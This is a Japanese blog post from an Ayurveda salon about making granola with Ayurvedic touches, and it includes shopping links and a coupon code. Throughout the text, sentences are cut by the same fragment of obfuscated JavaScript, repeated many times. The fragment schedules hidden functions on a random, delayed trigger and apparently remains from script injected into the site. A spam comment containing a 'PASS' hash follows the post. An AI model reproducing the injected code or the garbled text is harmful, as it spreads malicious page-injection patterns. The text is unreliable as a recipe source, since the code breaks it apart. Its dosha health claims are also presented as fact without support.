アーユルヴェーダ的 手作りグラノーラ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
ずっと作ってみたかったグラノーラを
アーユルヴェーダテイストを織り込んで作ってみました

ベースとしたのは、下記のレシピ。
 [emoji:e-141]『アメリカの手作りグラノーラ』andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
まず、用意するのは
グラノーラのベースであるオートミールandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
オーガニックでとってもお買い得なのを発見しました。

nk-Organic オーガニック・オートミール 1.5Kg

nk-Organic オーガニック・オートミール 1.5Kg
価格:880円(税込、送料別)

これに、ナッツやドライフルーツを加えるわけですが、
アーユルヴェーダ的におすすめの
生アーモンドandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}デーツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}は大量に用意します

2014-04-25 1s
生アーモンドはコストコで買ったもの、
デーツはオートミールと同じお店で購入しました。
 nk-Organicオーガニック・デーツ(種抜きなつめやし) 1Kg
さらに、いろんなナッツやドライフルーツを入れたいけれど
全部そろえていると結構お高くつくので、
今回は、こんなものを使ってみました
2014-04-25 22
これは、外国のスナックなんですけど、
ナッツとドライフルーツをミックスしたお菓子なんです。
・ドライローストしたアーモンド
・ドライローストしたカボチャの種
・ヒマワリの種
・レーズン
・クランベリー
・ワイルドブルーベリー
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

が入っているので、これを混ぜるだけで具はバッチリですよ。
しかもオーガニック。賢いワタシ。
2014-04-25 2
袋から出すと、こんな感じ。1袋113gだそうです。
アーモンドだけざっくり刻みました。
このままだとナッツがアーモンドばかりになってしまうので
もう一個ぐらい、クルミとかカシューナッツとか
入れると良いかなあと思い、今回はカシューナッツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}を用意。
2014-04-25 3
こちらは、無塩のものをインド食材店で調達。
製菓用とかでも良いですね。
こちらも、ざっくり刻みます。
さらに、ベリーミックスと同じお店に売っていた
トロピカルフルーツのドライフルーツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
買ってみました。(笑)
2014-04-25 5
では、いよいよ作り方です。


【作り方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.オーブンを120℃に温め始める
2.大きいボールにオートミールを3カップ入れる
3.ワイルドベリーミックス1袋分の刻んだアーモンドと
  その他のナッツ&フルーツ、
  1/2~1カップ分ぐらいのカシューナッツ等を加える
  (本来、ドライフルーツは後混ぜのレシピも多いけど
   ミックスで分けづらいので一緒でOK)
4.ブラウンシュガー(うちは甜菜糖)を大さじ2、
  メープルシロップを大さじ4、
  グレープシードオイル(サラダ油でも)を大さじ2入れて
  よーく混ぜる
5.天板にオーブンシートを広めにひき、混ぜたものを入れる
6.温まったオーブンに入れ、1時間乾燥させていくandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

  乾燥させることでカパを増やさないようになります
7.ポイントは、焦がさないように15分ごとに混ぜて
  全体を乾燥させるようにすること
8.その間に、生アーモンドとデーツをざっくり刻む
  合わせて1カップぐらいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

  生アーモンドは本来、皮は消化に重いので剥くのが
    おすすめですが、ピッタ(消化力)が高い私はそのまま使っちゃう

9.ボールに生アーモンド、デーツを入れ、
  他のドライフルーツがあれば加える
  (今回は、トロピカルフルーツダイス)
10.そして試しに、ここにチャイ用のマサラミックススパイスを
  小さじ1ほど入れてみました
  (シナモンだけを少し入れたりしてもいいかも)
10.焼き終わったオートミールたちを
  ボールに入れてよーく混ぜて出来上がり
11.よーく冷ましてから密閉容器にうつすandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


こうして出来たのがこちら
2014-04-25 6
完全に売り物っぽい感じです
今日の朝、豆乳と蜂蜜をかけていただきましたが
チャイ風味も本当にバッチリはまっていて
最高に美味しかったです
アーユルヴェーダでは、
はちみつもとてもパワーのある食べ物。
ただ、加熱すると毒素になってしまうので、
食べるときに加えるのがポイント。

蜂蜜はカパを減らし脂肪を削り取ると言われます
さらに、牛乳と酸味を一緒にとってはいけないので
ドライフルーツにやや酸味のあるものがあったことで
豆乳で食べることにしました。

豆乳は大豆と考えると渋味があるので
  カパやピッタは下げますがヴァータは上げます

そして、生アーモンドやデーツなどを始め、
とてもエネルギーの強い食物がたくさん入っているので
食べ過ぎないようにする方が良いでしょう。

グラノーラ全体を考えるとカパの高い人には良いですが
ヴァータが高い人は食べ過ぎない方が良さそうな食べ物かな。
私は、ピッタカパなのでピッタリではあるんですけど
ちょっと量を食べすぎました。(笑)
普通のシリアル感覚で盛ったらダメですねー
ちなみに、ベリーミックス等を購入したのは下記のサイト。
iHerb-logo-jp.png
オーガニック食材もそうなんですけど、
アーユルヴェーダ製品の超大手ヒマラヤブランドの
サプリなども取り扱っているandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ので
最近、良く購入しております。うふふ。
個人輸入なのに送料は4ドル程度だし、
初回限定クーポンコード『KLL178』andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
を使うと割引になるのでお試しあれ~
アーユルヴェーダサロンmanas 《マナス》

アーユルヴェーダ的 手作りグラノーラ” に対して1件のコメントがあります。

  1. 株の初心者 より:

    SECRET: 0
    PASS: 74be16979710d4c4e7c6647856088456
    とても魅力的な記事でした。
    また遊びに来ます!!

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